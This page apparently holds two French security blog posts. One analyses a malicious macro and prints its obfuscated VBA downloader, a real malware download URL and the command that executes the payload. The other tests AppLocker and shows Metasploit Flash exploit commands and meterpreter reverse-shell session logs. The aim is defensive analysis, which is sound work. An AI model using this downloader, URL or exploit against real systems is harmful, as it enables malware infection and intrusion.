    SCvdhfsdf.Open

Dim gOBtjLFC As Integer
gOBtjLFC = 1
Do While gOBtjLFC &amp;lt; 89
DoEvents: gOBtjLFC = gOBtjLFC + 1
Loop

    SCvdhfsdf.Type = 0 + 1

Dim vITUZPLM As Integer
vITUZPLM = 2
Do While vITUZPLM &amp;lt; 71
DoEvents: vITUZPLM = vITUZPLM + 1
Loop

    SCvdhfsdf.Write itGIUGdfdsfvv.responseBody

Dim WzlbkdwE As Integer
WzlbkdwE = 4
Do While WzlbkdwE &amp;lt; 53
DoEvents: WzlbkdwE = WzlbkdwE + 1
Loop

    SCvdhfsdf.SaveToFile Module4.ZsnbF, 2

Dim Hnstyyok As Integer
Hnstyyok = 3
Do While Hnstyyok &amp;lt; 75
DoEvents: Hnstyyok = Hnstyyok + 1
Loop

    SCvdhfsdf.Close

Dim BbKUkCfg As Integer
BbKUkCfg = 4
Do While BbKUkCfg &amp;lt; 67
DoEvents: BbKUkCfg = BbKUkCfg + 1
Loop

Module4.JqBv4aTP3Ok
End Sub



-------------------------------------------------------------------------------
VBA MACRO Module2.bas
in file: editdata.mso.decompress - OLE stream: u'VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public Function YVnTUhDMP()

Dim pbiXVIkl As Integer
pbiXVIkl = 6
Do While pbiXVIkl &amp;lt; 25
DoEvents: pbiXVIkl = pbiXVIkl + 1
Loop

FGHJfhjfFJ = "117.239.73.244:8880"

Dim lcDvobxj As Integer
lcDvobxj = 8
Do While lcDvobxj &amp;lt; 97
DoEvents: lcDvobxj = lcDvobxj + 1
Loop

fHJKVsdf = "h"

Dim AxlaljAg As Integer
AxlaljAg = 9
Do While AxlaljAg &amp;lt; 54
DoEvents: AxlaljAg = AxlaljAg + 1
Loop

dTYKdfdsf = "tp:/"

Dim PmBZTiYs As Integer
PmBZTiYs = 4
Do While PmBZTiYs &amp;lt; 36
DoEvents: PmBZTiYs = PmBZTiYs + 1
Loop

oihUIGUIdsf = "etimg.p"

Dim MgzmpzVj As Integer
MgzmpzVj = 6
Do While MgzmpzVj &amp;lt; 83
DoEvents: MgzmpzVj = MgzmpzVj + 1
Loop

YVnTUhDMP = fHJKVsdf + "t" + dTYKdfdsf + "/" + FGHJfhjfFJ + "/images/g" + oihUIGUIdsf + "hp"
 End Function

Le moins que l’on puisse dire c’est que c’est assez imbitable (on dirait du code OpenSSL) !

Cependant après un peu de nettoyage à l’aide de quelques expressions régulières et de chercher/remplacer, on tombe sur l’URL suivante :

http://117.239.73.244_BAD:8880/images/getimg.php

Allons donc voir ce qui s’y cache :

%> wget http://117.239.73.244:8880/images/getimg.php
Connecting to 117.239.73.244:8880... connected.
HTTP request sent, awaiting response... 200 OK
Length: 313904 (307K) [application/octet-stream]
Saving to: ‘getimg.php’
%> file getimg.php
getimg.php: PE32 executable (console) Intel 80386, for MS Windows
%> sha256sum getimg.php
2fddff60efc46621919e523447048a551567f8868600ae2fc286ed97c89c91f0  getimg.php

Un rapide tour sur VirusTotal (à défaut d’avoir une instance d’IRMA Maison) nous indique que ce condensat est associé à un fichier malveillant.

Depuis Windows, il est amusant de voir que nos « amis » ont un peu d’humour :

fsociety

FSociety est en effet une référence à une série sortie l’été 2015.

Cependant, télécharger un exécutable n’est pas dangereux en soi, mais en analysant un peu plus les macros, nous nous rendons vite compte qu’une fois téléchargé le fichier est directement exécuté :

cmd /c start %TMP%/axae.exe

Ce qui est également intéressant sur ce fichier est qu’il est signé :

%$> ./osslsigncode verify -in ../getimg.php
Current PE checksum   : 0004D84A
Calculated PE checksum: 0004D84A

Message digest algorithm  : SHA1
Current message digest    : 1E38266C7ACF19DDCAE6DE936D84991AF53922AC
Calculated message digest : 1E38266C7ACF19DDCAE6DE936D84991AF53922AC

Signature verification: ok

Number of signers: 1
        Signer #0:
                Subject: /C=RU/postalCode=191119/ST=ST PETERSBURG/L=ST PETERSBURG/street=Romenskaya 7/O=LIDER/CN=LIDER
                Issuer : /C=GB/ST=Greater Manchester/L=Salford/O=COMODO CA Limited/CN=COMODO RSA Code Signing CA

Number of certificates: 4
        Cert #0:
                Subject: /C=GB/ST=Greater Manchester/L=Salford/O=COMODO CA Limited/CN=COMODO Time Stamping Signer
                Issuer : /C=US/ST=UT/L=Salt Lake City/O=The USERTRUST Network/OU=http://www.usertrust.com/CN=UTN-USERFirst-Object
        Cert #1:
                Subject: /C=RU/postalCode=191119/ST=ST PETERSBURG/L=ST PETERSBURG/street=Romenskaya 7/O=LIDER/CN=LIDER
                Issuer : /C=GB/ST=Greater Manchester/L=Salford/O=COMODO CA Limited/CN=COMODO RSA Code Signing CA
        Cert #2:
                Subject: /C=GB/ST=Greater Manchester/L=Salford/O=COMODO CA Limited/CN=COMODO RSA Certification Authority
                Issuer : /C=SE/O=AddTrust AB/OU=AddTrust External TTP Network/CN=AddTrust External CA Root
        Cert #3:
                Subject: /C=GB/ST=Greater Manchester/L=Salford/O=COMODO CA Limited/CN=COMODO RSA Code Signing CA
                Issuer : /C=GB/ST=Greater Manchester/L=Salford/O=COMODO CA Limited/CN=COMODO RSA Certification Authority

Succeeded

Nous laissons le soin au lecteur de vérifier si l’adresse du Lider est juste.

D’ailleurs, nous avons même une adresse électronique de contact. On notera également que le fichier est tout chaud puisque signé très récemment au moment de la rédaction de cet article.

signature_Fsociety

Enfin une fois executé, nous pouvons surveiller le programme et les ressources qu’il utilise grâce à Process Hacker  et nous voyons alors une connexion sur une ip et port exotique (déjà présent dans l’alerte du CERT-FR):

cc

Ensuite on constate deux choses : le programme fsociety.exe s’est effacé (aucune trace ni dans le répertoire d’exécution ni dans la corbeille) et notre explorer.exe commence à faire des choses pour le moins étranges (La capture ci-dessous est un montage paint, mais elle montre ce qui se passe chronologiquement) : Explorer tente de se connecter sur le port 443 sur plusieurs sites successivement, la dernière adresse répond et une connexion est établie. Après un petit temps, mon explorer.exe se met à écouter sur le port 443…

Capture2

Nous avons donc gagné le droit de jeter notre machine virtuelle.

En conclusion, nous avons réussi à analyser assez rapidement le contenu de ce message électronique avec des outils assez simples d’utilisation et cela nous a permis de trouver quelques indices de compromissions.

Publié dans Outils, Sensibilisation | Tagué , | 1 commentaire

AppLocker et ses limites

Voici la France vs le Brésil, et non on ne parle pas foot mais mise à jour de votre machine

Ou comment un faute de frappe peut affaiblir votre parc !

Adobe

Et cela fonctionne depuis quelques jours, si vous voulez tester par vous même :

https://get.adobe.com/reader/?loc=br

https://get.adobe.com/reader/?loc=fr

Du coup, on peut légitimement se demander comment limiter la casse si nous avons une version de tel ou tel produit vulnérable sur un parc : ne serait-ce que pour un laps de temps très court (entre la sortie de la nouvelle version et son déploiement).

Dans cette course permanente entre les attaquants et les défenseurs, beaucoup parle d’Applocker comme une solution miracle : Alors mythe ou réalité ?

Tentons d’apporter quelques éléments de réponse :

Tout d’abord, AppLocker est la fonctionnalité de Microsoft qui permet de gérer la liste de exécutable sur une machine Windows (7 ou supérieur) ou sur un parc via une GPO.

Lorsque nous écrivons « gestion », il s’agit de la gestion de listes autorisant ou interdisant explicitement l’exécution de logiciels.

Cette gestion se fait selon l’un des trois critères suivants :

  • Un chemin d’emplacement (ex: c:/windows/)
  • Le condensat (par défaut SHA256) d’un fichier
  • L’éditeur du logiciel via sa signature : On peut donc choisir d’autoriser tous les logiciels signées par Adobe ou seulement Adobe Flash : Cela permet même de gérer la version autorisée : autrement dit pour un binaire signé, nous pouvons choisir d’autoriser (interdire) uniquement la version 19.0.0.185 ou toutes les suivantes…

Vous l’aurez compris : ce dernier critère est donc à privilégier lorsque cela est possible.

Les règles AppLocker sont visibles via la console « secpol.msc »  (où elles peuvent être exportés en XML) ou via les clés de registre :

\HKEY_LOCAL_Machine\Software\Policies\Microsoft\Windows\SrpV2

Notons ici le « SrpV2 » , V2 car Applocker est le successeur de « Software Restriction Policies« .

Il y a également un journal d’événement propre à ce service.

evtApplocker

Nous y trouvons principalement deux types d’évènements (8002 : autorisation et 8004 : blocage). Lorsque l’action AppLocker concorde avec une règle explicite, l’identifiant de la règle est présent dans l’événement.

Applocker permet de la même façon de gérer les librairies, les scripts et  les tuiles à partir de windows 8.1

Interpréteurs de code :

Cependant aussi génial que cela puisse paraitre, AppLocker n’est pas parfait.

Didier Stevens a montré que les premières montures pouvaient être abusées facilement.

De plus tous les logiciels qui se basent sur des applets et une machine virtuelle (ie : java), sont globalement insensibles à Applocker, une fois la machine virtuelle autorisée.

Plus concrètement : Prenons le cas d’Adobe Flash. Si Flash est autorisé sur notre machine et que malheureusement il n’est pas à jour (si si, ça peut arriver), un attaquant n’aura aucune difficulté pour exploiter la vulnérabilité et par exemple à ouvrir une session « meterpreter ».

Pour notre test, nous avons utilisé la version obsolète 18.0.0.160 de Flash et  la charge metasploit suivante:

msf> use exploit/multi/browser/adobe_flash_opaque_background_uaf
msf exploit(adobe_flash_opaque_background_uaf) > set PAYLOAD windows/meterpreter/reverse_tcp

Malgré un « applockage » du poste, nous arrivons à monter une session « meterpreter » avec la cible (un windows 7 SP1 Enterprise 32 bits) :

msf exploit(adobe_flash_opaque_background_uaf) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 10.10.10.12:4444
msf exploit(adobe_flash_opaque_background_uaf) > [*] Using URL: http://0.0.0.0:8080/cryptobourrin
[*] Local IP: http://10.10.10.12:8080/cryptobourrin
[*] Server started.
[*] 192.168.25.11    adobe_flash_opaque_background_uaf - Gathering target information.
[*] 192.168.25.11    adobe_flash_opaque_background_uaf - Sending HTML response.
[*] 192.168.25.11    adobe_flash_opaque_background_uaf - Request: /cryptobourrin/VkIFgK/
[*] 192.168.25.11    adobe_flash_opaque_background_uaf - Sending HTML...
[*] 192.168.25.11    adobe_flash_opaque_background_uaf - Request: /cryptobourrin/VkIFgK/knGLdQ.swf
[*] 192.168.25.11    adobe_flash_opaque_background_uaf - Sending SWF...
[*] Sending stage (885806 bytes) to 192.168.25.11
[*] Meterpreter session 1 opened (10.10.10.12:4444 -> 192.168.25.11:49182) at 2015-10-06 07:57:18 -0500

msf exploit(adobe_flash_opaque_background_uaf) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: WIN-8C0Q4O00RCD\user
meterpreter > shell
Process 2900 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\user\Desktop>cd outils
cd outils

C:\Users\user\Desktop\Outils>putty.exe
putty.exe
This program is blocked by group policy. For more information, contact your system administrator.

C:\Users\user\Desktop\Outils>exit
exit

meterpreter >

La règle de type Hash :

Autant les deux autres critères sont assez explicites, autant celui-ci peut porter à confusion. En effet, prenons l’exemple de putty.exe

putty.exe (v 0.63.0.0)
 md5sum    :7a0dfc5353ff6de7de0208a29fa2ffc9
 sha1sum   :44ac2504a02af84ee142adaa3ea70b868185906f
 sha256sum :abcc2a2d828b1624459cf8c4d2ccdfdcde62c8d1ab51e438db200ab3c5c8cd17

Et que nous regardons la valeur du hash dans la règle par défaut :

<FileHashRule Id="c9753288-4e1f-494a-8054-b89bcad3b73e" Name="putty.exe" Description="" UserOrGroupSid="S-1-1-0" Action="Allow">
  <Conditions>
	<FileHashCondition>
	  <FileHash Type="SHA256" Data="0xA58CC0D7A88656226CBC91C1A95E43CA971CD69C3FC004871078D2BB2CD20965" SourceFileName="putty.exe" SourceFileLength="495616" />
	</FileHashCondition>
  </Conditions>
</FileHashRule>

Le condensat calculé par AppLocker n’a rien à voir avec celui calculer par l’outils sha256sum de Linux. D’où provient cette différence ?

Lorsqu’il s’agit d’un executable, AppLocker ne calcule pas le hash de la même façon que pour un fichier plat. En effet, Applocker calcule ce que Microsoft appelle l’ « Authenticode Portable Executable Image Hash ». C’est notamment ce condensat qui est utilisé dans la signature de binaire (nous vous laissons lire ce document pour une explication concrète). Une fois qu’Applocker identifie l’entête du fichier comme un executable, il calcule le « PE image hash » et non plus un « vrai » hash.

Pour reproduire  le code, nous avons utilisé un outils basé sur OpenSSL qui nous permet par ailleurs de choisir la fonction de hachage. Ainsi nous est venu l’idée de voir comment on pouvait jouer avec Microsoft et la fonction de hash :

Si nous forçons le type de hash à MD5 comme suit :

<FileHashRule Id="c9753288-4e1f-494a-8054-b89bcad3b73e" Name="putty.exe" Description="" UserOrGroupSid="S-1-1-0" Action="Allow">
  <Conditions>
	<FileHashCondition>
	  <FileHash Type="MD5" Data="0x90C94DB8D9940BC56C98861AF6A04AE3" SourceFileName="putty.exe" SourceFileLength="495616" />
	</FileHashCondition>
  </Conditions>
</FileHashRule>
	

Nous obtiendrons l’erreur suivante :

MD5

Cependant, AppLocker est compatible avec SHA1, et la règle suivante est valide :

<FileHashRule Id="c9753288-4e1f-494a-8054-b89bcad3b73e" Name="putty.exe" Description="" UserOrGroupSid="S-1-1-0" Action="Allow">
  <Conditions>
	<FileHashCondition>
	  <FileHash Type="SHA1" Data="0x23DD3A30F509734C43E0E494655B0473AB1DAA64" SourceFileName="putty.exe" SourceFileLength="495616" />
	</FileHashCondition>
  </Conditions>
</FileHashRule>
	

Bien qu’une règle de hash ne soit pas possible avec l’algorithme MD5, nous avons  signé le binaire avec md5WithRSA et cette signature permet de faire une règle valide dans  Applocker.   Mais il faudra en amont déclaré l’AC émettrice  de confiance sur le poste.

Enfin rappelons que la vulnérabilité XCodeGhost a mis à mal l’image du filtrage applicatif par liste blanche. AppLocker permet de faire du contrôle également sur les DLL, mais cela a un cout très fort sur les performances : en effet à chaque chargement de DLL dans un process : AppLocker doit vérifier si oui ou non la librairie est autorisée.

AppLocker est un outil pertinent qui permet de se protèger contre des menaces modérés. Nous le voyons aussi comme une bonne prévention contre la persistence de l’attaquant (aujourd’hui la plupart des attaques sont en (au moins) 2 temps bien distincts : on rentre puis on s’assure de garder la porte ouverte). Mais ce service ne peut (malheureusement) pas tout et doit être considéré comme un rempart de plus dans notre arsenal de défense : filtrage réseau, ségrégation des droits, bacs à sable, …

Mais si nous activons EMET 5.2 sur le poste, cela ne change rien à l’exécution de la charge par Internet Explorer.

Il est par ailleurs intéressant de voir que si nous rejouons le test Flash avec un client firefox (41.0.1), le meterpreter n’est pas capable d’ouvrir un shell sur le poste cible :

msf exploit(adobe_flash_opaque_background_uaf) >
[*] 192.168.25.11    adobe_flash_opaque_background_uaf - Request: /cryptobourrin/VkIFgK/
[*] 192.168.25.11    adobe_flash_opaque_background_uaf - Sending HTML...
[*] 192.168.25.11    adobe_flash_opaque_background_uaf - Request: /cryptobourrin/VkIFgK/tUHL.swf
[*] 192.168.25.11    adobe_flash_opaque_background_uaf - Sending SWF...
[*] 192.168.25.11    adobe_flash_opaque_background_uaf - Gathering target information.
[*] 192.168.25.11    adobe_flash_opaque_background_uaf - Sending HTML response.
[*] 192.168.25.11    adobe_flash_opaque_background_uaf - Request: /cryptobourrin/VkIFgK/
[*] 192.168.25.11    adobe_flash_opaque_background_uaf - Sending HTML...
[*] 192.168.25.11    adobe_flash_opaque_background_uaf - Request: /cryptobourrin/VkIFgK/INKz.swf
[*] 192.168.25.11    adobe_flash_opaque_background_uaf - Sending SWF...
[*] Sending stage (885806 bytes) to 192.168.25.11
[*] Meterpreter session 2 opened (10.10.10.12:4444 -> 192.168.25.11:49372) at 2015-10-06 08:10:50 -0500

msf exploit(adobe_flash_opaque_background_uaf) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: WIN-8C0Q4O00RCD\user
meterpreter > shell
[-] Failed to spawn shell with thread impersonation. Retrying without it.
[-] stdapi_sys_process_execute: Operation failed: Access is denied.
meterpreter >
Publié dans cryptobourrin, Outils, Système | Tagué , , , | 1 commentaire